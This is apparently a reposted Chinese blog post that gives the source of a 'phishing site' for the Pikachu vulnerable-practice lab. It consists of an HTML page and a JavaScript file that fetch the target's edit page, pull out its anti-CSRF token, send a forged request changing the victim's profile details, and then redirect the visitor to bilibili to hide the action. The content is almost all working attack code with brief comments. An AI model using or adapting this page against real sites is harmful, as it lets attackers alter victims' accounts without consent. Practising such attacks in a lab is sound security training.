创作不易,希望搬运说明出处
https://blog.csdn.net/weixin_43623271/article/details/122894170

以pikachu靶场为例,绕过token讲解
https://www.bilibili.com/video/BV1qm4y1Z7o5/

钓鱼网站源码
pikachu_csrf_token.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <p id="p1" ></p>
    <a id="l" href="https://www.bilibili.com"></a>
    <script src="pikachu_gettoken.js"></script>
    <!-- 所有脚本跑完之后就跳转到bilibili -->
    <script>
        window.onload = function(){
			document.getElementById("l").click();
		}
    </script>
</body>
</html>

pikachu_gettoken.js
脚本文件

const r = new XMLHttpRequest();
var a;
var token;
//url指向pikachu修改信息页面
var url = "http://192.168.31.242/pikachu/vul/csrf/csrftoken/token_get_edit.php?";
//修改用户信息值
var sex = '3';
var phonenum = '3';
var add = '3';
var email = '3';
//onreadystatechange监听readyStatus值变化的回调函数,readyStatus表示请求响应时处于哪个过程
r.onreadystatechange = () => {
    if (r.readyState === 4) {
        if (r.status === 200) {
            //获得服务器返回的内容
            document.getElementById('p1').innerHTML = r.response;
            //从内容中提取出token的值
            token = document.getElementsByName('token')[0].value;
            //拿着token访问pikachu修改密码页面
            new Image().src = url.concat('sex=', sex, '&phonenum=', phonenum, '&add=', add, '&email=', email, '&token=', encodeURI(token), '&submit=submit');
        }
    }
}
//open三个参数请求方法,url,是否异步
r.open('GET', url);
//send方法存放请求体内容,这里使用GET,所以请求体无内容
r.send(null);

更多推荐